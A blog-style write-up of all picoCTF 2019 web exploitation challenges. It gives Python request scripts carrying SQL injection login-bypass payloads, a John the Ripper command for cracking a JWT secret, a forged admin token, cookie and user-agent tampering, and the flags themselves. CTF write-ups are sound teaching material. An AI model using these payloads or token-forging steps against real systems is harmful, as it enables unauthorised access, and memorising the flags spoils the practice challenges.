![](/_astro/pico-2019-web.BuwO-mkZ_ZMwWxk.webp)
PicoCTF 2019 Web Writeups
Preface
PicoCTF was my first introduction to the world of CTF when I played PicoCTF 2021. PicoCTF 2019 is the only CTF available on the PicoGym that I did not participate in. As such, I decided to go back and solve the challenges and write up my solutions. Below are the solutions to all the web exploitation challenges from PicoCTF 2019. Each writeup is a brief (informal) explanation of the solution written while solving the challenge, sorted by difficulty.
Challenge Writeups
Insp3ct0r (50 points)
We are given a link. When we open it, we see a website that tells us to inspect the website, and also tells us the site was made with HTML, CSS, and JS. Inspect element is a tool we can use to view the client side webpage code. If you would like to learn more, check out this MDN article.
When we inspect the HTML, we see the comment <!-- Html is neat. Anyways have 1/3 of the flag: picoCTF{tru3_d3 -->
.
Looking around in the CSS, we also see the comment /* You need CSS to make pretty pages. Here's part 2/3 of the flag: t3ct1ve_0r_ju5t */
.
In the JS, we see the comment /* Javascript sure is neat. Anyways part 3/3 of the flag: _lucky?2e7b23e3} */
.
Combining these three parts, we get the flag: picoCTF{tru3_d3t3ct1ve_0r_ju5t_lucky?2e7b23e3}
where are the robots (100 points)
When we open this webpage, we’re greeted with text that tells us “Where are the robots?”. The meaning of this is not immediately clear, and we also don’t see anything when poking around in inspect element. The key to solving this challenge is realizing that the robots is hinting to robots.txt, which you can learn more about from google search central and the MDN glossary.
The TLDR is that it’s a file that tells search engine crawlers what to/not to check, and is not meant for hiding webpages.
That’s good for us, because checking the robots.txt file, we see that it contains the following.
User-agent: *
Disallow: /1bb4c.html
Visiting that subpage, we find the flag there: picoCTF{ca1cu1at1ng_Mach1n3s_1bb4c}
logon (100 points)
Opening the webpage, we are instantly met with a login page. Trying any random password and username, we’re able to login. However, logging in, we see the text “No flag for you”.
Looking around in inspect element a bit, there is nothing that immediately stands out. But if we go to the applications tab, and see the cookies we have, and notice that there is a cookie named admin
, with value set to False
. If you would like to learn more about cookies, check out MDN again.
We can set that admin
cookie to True
(note the case-sensitivity).
Reloading the page with the cookie now set to True, we get our flag! picoCTF{th3_c0nsp1r4cy_l1v3s_0c98aacc}
dont-use-client-side (100 point)
Opening our “Secure Login Portal”, we’re greeted with a page that prompts us to enter “valid credentials to proceed”. Because the challenge name tells us about client-side, we can check out the client-side code with inspect element.
Doing that, we see the following javascript inside a script tag.
function verify() {
checkpass = document.getElementById("pass").value;
split = 4;
if (checkpass.substring(0, split) == "pico") {
if (checkpass.substring(split * 6, split * 7) == "706c") {
if (checkpass.substring(split, split * 2) == "CTF{") {
if (checkpass.substring(split * 4, split * 5) == "ts_p") {
if (checkpass.substring(split * 3, split * 4) == "lien") {
if (checkpass.substring(split * 5, split * 6) == "lz_b") {
if (checkpass.substring(split * 2, split * 3) == "no_c") {
if (checkpass.substring(split * 7, split * 8) == "5}") {
alert("Password Verified");
}
}
}
}
}
}
}
} else {
alert("Incorrect password");
}
}
We see pretty much our valid credentials, and something we can use to piece together the flag. We go from order of (0,split)
to (split, split * 2)
, (split * 2, split * 3)
, … until (split * 7, split * 8)
.
Piecing it together, we get our flag of: picoCTF{no_clients_plz_b706c5}
picobrowser (200 points)
Opening the webpage, we get a page with a giant flag button. Pressing the button gave me the following error message: You're not picobrowser! Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
.
Doing a bit of research, and googling the string, we find that this is something called User-Agent. You can look at the MDN Docs for more information, but the TLDR is that you can spoof it.
I decided to write a python script to spoof our user-agent header as picobrowser
. There are many other ways to do it, such as just with curl.
import requests
headers = {
'User-Agent': 'picobrowser',
}
response = requests.get('https://jupiter.challenges.picoctf.org/problem/28921/flag', headers=headers)
print(response.text)
Running the following code (you may need to pip install requests
first), we get the HTML response of the webpage, which includes the flag: picoCTF{p1c0_s3cr3t_ag3nt_84f9c865}
Client-side-again (200 points)
We can open up the webpage, and we see a very similar webpage in design to that of the earlier challenge dont-use-client-side
. However, this time, when we inspect element, the javascript inside the script tag is much harder to read.
var _0x5a46=['f49bf}','_again_e','this','Password\x20Verified','Incorrect\x20password','getElementById','value','substring','picoCTF{','not_this'];(function(_0x4bd822,_0x2bd6f7){var _0xb4bdb3=function(_0x1d68f6){while(--_0x1d68f6){_0x4bd822['push'](_0x4bd822['shift']());}};_0xb4bdb3(++_0x2bd6f7);}(_0x5a46,0x1b3));var _0x4b5b=function(_0x2d8f05,_0x4b81bb){_0x2d8f05=_0x2d8f05-0x0;var _0x4d74cb=_0x5a46[_0x2d8f05];return _0x4d74cb;};function verify(){checkpass=document[_0x4b5b('0x0')]('pass')[_0x4b5b('0x1')];split=0x4;if(checkpass[_0x4b5b('0x2')](0x0,split*0x2)==_0x4b5b('0x3')){if(checkpass[_0x4b5b('0x2')](0x7,0x9)=='{n'){if(checkpass[_0x4b5b('0x2')](split*0x2,split*0x2*0x2)==_0x4b5b('0x4')){if(checkpass[_0x4b5b('0x2')](0x3,0x6)=='oCT'){if(checkpass[_0x4b5b('0x2')](split*0x3*0x2,split*0x4*0x2)==_0x4b5b('0x5')){if(checkpass['substring'](0x6,0xb)=='F{not'){if(checkpass[_0x4b5b('0x2')](split*0x2*0x2,split*0x3*0x2)==_0x4b5b('0x6')){if(checkpass[_0x4b5b('0x2')](0xc,0x10)==_0x4b5b('0x7')){alert(_0x4b5b('0x8'));}}}}}}}}else{alert(_0x4b5b('0x9'));}}
I’m sure the intended solution is to properly deobfuscate this code and reverse engineer it. However, if we just look at the first variable definition, we see the following array.
var _0x5a46=['f49bf}','_again_e','this','Password\x20Verified','Incorrect\x20password','getElementById','value','substring','picoCTF{','not_this'];
Piecing together the text with our english skills, we get the flag: picoCTF{not_this_again_ef49bf}
Irish-Name-Repo 1 (300 points)
Logging on into the irish name repo, we can navigate to the login page through the hamburger menu on the top left corner. Looking through inspect element, we don’t find anything that seems immediately exploitable client side.
However, the hints tell us to “think about how the website verifies your login”, and that “there doesn’t seem to be many ways to interact with this. I wonder if the users are kept in a database?”
All this points to a SQL injection. An easy way to test this is by putting the '
character into the login box and seeing what happens. Sure enough, when we put that into the username box and press the login button, we see that the webpage errors out. For more information on SQL injections, check out MDN, and this hacksplaining article.
We can use a simple SQL injection payload of 'OR 1=1--
. For fun, I wrote the request in python.
import requests
data = {
"username": "'OR 1=1--",
"password": "",
"debug": "0",
}
response = requests.post(
"https://jupiter.challenges.picoctf.org/problem/39720/login.php",
data=data,
)
print(response.text)
Runnning the program and examining the output, we see the flag: picoCTF{s0m3_SQL_c218b685}
Irish-Name-Repo 2 (350 points)
This seems to be another SQL injection challenge. However when we run the same python script as earlier but change out the link, we get the following response.
<h1>SQLi detected.</h1>
Reading the hint, we’re told that SQLi is being filtered out. Running the prior program but with debug enabled (set to 1
), we get the following output.
<pre>username: 'OR 1=1--
password:
SQL query: SELECT * FROM users WHERE name=''OR 1=1--' AND password=''
</pre><h1>SQLi detected.</h1>
Due to the SQL statement being a WHERE statement, we can see that our previous request does not work. We can try rewriting the payload to try to login to the admin
account, using only the username tag.
Our final script looks like
import requests
data = {
"username": "admin'--",
"password": "",
"debug": "1",
}
response = requests.post(
"https://jupiter.challenges.picoctf.org/problem/52849/login.php",
data=data,
)
print(response.text)
Running the script, we find our flag in the output: picoCTF{m0R3_SQL_plz_fa983901}
Irish-Name-Repo 3 (400 points)
Similar challenge. However, when we try running our previous script, we get the following output.
<pre>password:
SQL query: SELECT * FROM admin where password = ''
</pre><h1>Login failed.</h1>
Seems like admin is pre-selected, so we only have the password string to work with. When we try putting in 'OR 1=1--
in the password field, the debug output is as follows.
<pre>password: 'OR 1=1--
SQL query: SELECT * FROM admin where password = ''BE 1=1--'
</pre>
Weird, why has it changed? Lets try just doing some random string abcdefghijklmnopqrstuvwxyz
.
<pre>password: abcdefghijklmnopqrstuvwxyz
SQL query: SELECT * FROM admin where password = 'nopqrstuvwxyzabcdefghijklm'
</pre><h1>Login failed.</h1>
It seems like this is a caeser shift. More specifically, it’s ROT13. So ROT 13 of 'OR 1=1--
is 'BE 1=1--
. Because ROT-13 is it’s own inverse, we can simply run the following script with 'BE 1=1--
as the payload.
import requests
data = {
"password": "'BE 1=1--'",
"debug": "1",
}
response = requests.post(
"https://jupiter.challenges.picoctf.org/problem/29132/login.php",
data=data,
)
print(response.text)
Running the script, we find our flag in the output: picoCTF{3v3n_m0r3_SQL_06a9db19}
JaWT Scratchpad (400 points)
Before we start this challenge, we look at the hints and the name and see that this is a JWT challenge. We can learn more about it from the jwt.io site, but they seem to be tokens used for authentication.
Opening the webpage, we’re greeted with a screen that tells us to enter any name other than admin
. Let’s just enter john
for now. We can hypothesize from what we know already that we’re trying to edit our JWT token to change our name from john
to admin
.
Checking our cookies, we find a JWT token. If we put that into jwt.io, we see that there is indeed a token called user
, with the value set to john
.
However, if we try to change the value to admin
, and paste that cookie, we get an Internal Server Error. The reason for this is because our JWT token is not properly signed.
To properly sign our JWT token with what the server wants, we need to crack the secret. To do this, we can use johntheripper.
We run the following command:
john jwt.txt --wordlist=rockyou.txt --format=HMAC-SHA256
This tells us that the secret-key is ilovepico
. Putting that into the jwt website as our secret key, we see that it indeed verifies. We can then change our user
to admin
, and regenerate the JWT, which we get as eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.gtqDl4jVDvNbEe_JYEZTN19Vx6X9NNZtRVbKPBkhO-s
.
Putting this into our cookies, and reloading, we get the flag in our scratchpad: picoCTF{jawt_was_just_what_you_thought_1ca14548}
Java Script Kiddie (400 points)
The hint tells us that this challenge is only a javascript challenge. So opening up inspect element, we see the following inside the script tag.
var bytes = [];
$.get("bytes", function (resp) {
bytes = Array.from(resp.split(" "), (x) => Number(x));
});
function assemble_png(u_in) {
var LEN = 16;
var key = "0000000000000000";
var shifter;
if (u_in.length == LEN) {
key = u_in;
}
var result = [];
for (var i = 0; i < LEN; i++) {
shifter = key.charCodeAt(i) - 48;
for (var j = 0; j < bytes.length / LEN; j++) {
result[j * LEN + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i];
}
}
while (result[result.length - 1] == 0) {
result = result.slice(0, result.length - 1);
}
document.getElementById("Area").src =
"data:image/png;base64," +
btoa(String.fromCharCode.apply(null, new Uint8Array(result)));
return false;
}
Hmm, let’s try to figure out what this code does. To do this, let’s break it down into multiple parts.
Let’s start with the first four lines.
var bytes = [];
$.get("bytes", function (resp) {
bytes = Array.from(resp.split(" "), (x) => Number(x));
});
We see that this runs a jquery UDN docs here request that makes a GET
request to /bytes
and converts that to an array of numbers.
We can confirm this is indeed the case by running console.log(bytes)
in our browsers console. We get an array of numbers that has a length of 720!
Next, let’s see what the assemble_png
function does.
var LEN = 16;
var key = "0000000000000000";
var shifter;
if (u_in.length == LEN) {
key = u_in;
}
We can see that the first six lines just take a 16 character key as input.
var result = [];
for (var i = 0; i < LEN; i++) {
shifter = key.charCodeAt(i) - 48;
for (var j = 0; j < bytes.length / LEN; j++) {
result[j * LEN + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i];
}
}
Essentially what this code is doing is taking each character of the key and converting it into a number (shifter = key.charCodeAt(i) - 48;
). That number is then used to iterate over every 16 characters in the result, and then pick different values from the bytes array to go based on the number, shifting the bytes array around. Note that for example, the first character will only shift characters that are 1 mod 16
, the second will only shift characters that are 2 mod 16
etc etc.
The next three lines are quite simple, all they do is remove trailing zeros from the results array.
while (result[result.length - 1] == 0) {
result = result.slice(0, result.length - 1);
}
The final three lines just take the bytes and display them as an image.
document.getElementById("Area").src =
"data:image/png;base64," +
btoa(String.fromCharCode.apply(null, new Uint8Array(result)));
Looking at the PNG file format, or other online resources, we see that every PNG must start with the same 8 byte file header, which is then followed by chunks. The chunks that the file header are followed by start with a length and a chunk type, which is always constant as IHDR chunk goes first. As such, we know the first 16 bytes of the png to always be the following (in hex).
first_16_bytes = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, 0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52]
Next, let’s implement the shifting code in python.
import requests
# get the bytes from webserver
response = requests.get(
"https://jupiter.challenges.picoctf.org/problem/17205/bytes"
).text
bytes = response.split(" ")
bytes_array = [int(byte) for byte in bytes]
def assemble_png(key):
assert len(key) == 16
result = []
for i in range(len(key)):
shifter = ord(key[i]) - 48
for j in range(len(bytes) // len(key)):
result[j * len(key) + i] = bytes[
(((j + shifter) * len(key)) % len(bytes)) + i
]
while result[-1] == 0:
result = result[:-1]
return result
We can write a brute force function. Code is below.
import requests
from tqdm import tqdm
# get the bytes from webserver
response = requests.get(
"https://jupiter.challenges.picoctf.org/problem/17205/bytes"
).text
bytes = response.split(" ")
bytes_array = [int(byte) for byte in bytes]
first_16_bytes = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, 0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52]
def assemble_png(key):
assert len(key) == 16
result = [0] * (len(bytes_array) + len(key) - 1)
for i in range(len(key)):
shifter = ord(key[i]) - 48
for j in range(len(bytes_array) // len(key)):
result[j * len(key) + i] = bytes_array[
(((j + shifter) * len(key)) % len(bytes_array)) + i
]
while result[-1] == 0:
result = result[:-1]
if result[:16] != first_16_bytes:
return None
return result
# brute force the 16 digit key
for i in tqdm(range(10**16)):
key = str(i).zfill(16)
png = assemble_png(key)
if png is not None:
print(key)
break
However, if we try to just do a pure brute force like this, we can see that it takes much too long to run. We’re going to need something even smarter. One thing we can try to do is to brute possible individual numbers for each key, rather than bruting the entire key at once. We can then narrow down our search range to a much smaller number, and then try those individually. The final code is as shown.
import requests
import itertools
from PIL import Image
import io
# get the bytes from webserver
response = requests.get(
"https://jupiter.challenges.picoctf.org/problem/17205/bytes"
).text
bytes = response.split(" ")
bytes_array = [int(byte) for byte in bytes]
first_16_bytes = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, 0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52]
def assemble_png(key):
assert len(key) == 16
result = [0] * len(bytes_array)
for i in range(len(key)):
shifter = ord(key[i]) - 48
for j in range(len(bytes_array) // len(key)):
result[j * len(key) + i] = bytes_array[
(((j + shifter) * len(key)) % len(bytes_array)) + i
]
while result[-1] == 0:
result = result[:-1]
if result[:16] != first_16_bytes:
return None
# show a picture based off of result and using PIL
try:
image = Image.open(io.BytesIO(bytearray(result)))
image.show()
print(f"Key: {key} Valid image")
except:
pass
return result
possible_key_values = []
for i in range (16):
possible_number_values = []
for j in range(10):
shifter = ord(str(j)) - 48
if bytes_array[(shifter * 16) % len(bytes_array) + i] == first_16_bytes[i]:
possible_number_values.append(j)
possible_key_values.append(possible_number_values)
for p in itertools.product(*possible_key_values):
key = "".join("{}".format(n) for n in p)
# try assembling an image with the key
image_data = assemble_png(key)
This outputs one valid code, which also shows us an image that is a QR code.
Reading the QR code gets us the flag: picoCTF{066cad9e69c5c7e5d2784185c0feb30b}
Java Script Kiddie 2 (450 points)
Upon opening up this challenge, we see that it appears very similar to the previous one. This is the javascript below.
var bytes = [];
$.get("bytes", function (resp) {
bytes = Array.from(resp.split(" "), (x) => Number(x));
});
function assemble_png(u_in) {
var LEN = 16;
var key = "00000000000000000000000000000000";
var shifter;
if (u_in.length == key.length) {
key = u_in;
}
var result = [];
for (var i = 0; i < LEN; i++) {
shifter = Number(key.slice(i * 2, i * 2 + 1));
for (var j = 0; j < bytes.length / LEN; j++) {
result[j * LEN + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i];
}
}
while (result[result.length - 1] == 0) {
result = result.slice(0, result.length - 1);
}
document.getElementById("Area").src =
"data:image/png;base64," +
btoa(String.fromCharCode.apply(null, new Uint8Array(result)));
return false;
}
Taking the diff between the two files, we see that they are very similar. There are only three differences!
- var key = "0000000000000000";
- if (u_in.length == LEN) {
+ var key = "00000000000000000000000000000000";
+ if (u_in.length == key.length) {
- shifter = key.charCodeAt(i) - 48;
+ shifter = Number(key.slice(i * 2, i * 2 + 1));
Examining them, we first see that the key has been changed from 16 long to 32 long. We also see that shifter has been changed. However, it’s been changed to essentially take every other number, so the code is virtually unchanged with the exception of how it’s just being run through the Number()
function.
As such, we can simply change our code and only update the shifter component, as the key is still essentially 16 characters.
import requests
import itertools
from PIL import Image
import io
# get the bytes from webserver
response = requests.get(
"https://jupiter.challenges.picoctf.org/problem/51400/bytes"
).text
bytes = response.split(" ")
bytes_array = [int(byte) for byte in bytes]
first_16_bytes = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, 0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52]
def assemble_png(key):
assert len(key) == 16
result = [0] * len(bytes_array)
for i in range(len(key)):
shifter = int(key[i])
for j in range(len(bytes_array) // len(key)):
result[j * len(key) + i] = bytes_array[
(((j + shifter) * len(key)) % len(bytes_array)) + i
]
while result[-1] == 0:
result = result[:-1]
if result[:16] != first_16_bytes:
return None
# show a picture based off of result and using PIL
try:
image = Image.open(io.BytesIO(bytearray(result)))
image.show()
print(f"Key: {key} Valid image")
except:
pass
return result
possible_key_values = []
for i in range(16):
possible_number_values = []
for j in range(10):
shifter = ord(str(j)) - 48
if bytes_array[(shifter * 16) % len(bytes_array) + i] == first_16_bytes[i]:
possible_number_values.append(j)
possible_key_values.append(possible_number_values)
for p in itertools.product(*possible_key_values):
key = "".join("{}".format(n) for n in p)
# try assembling an image with the key
image_data = assemble_png(key)
Running this shows an image file, which is the valid flag! picoCTF{59d5db659865190a07120652e6c77f84}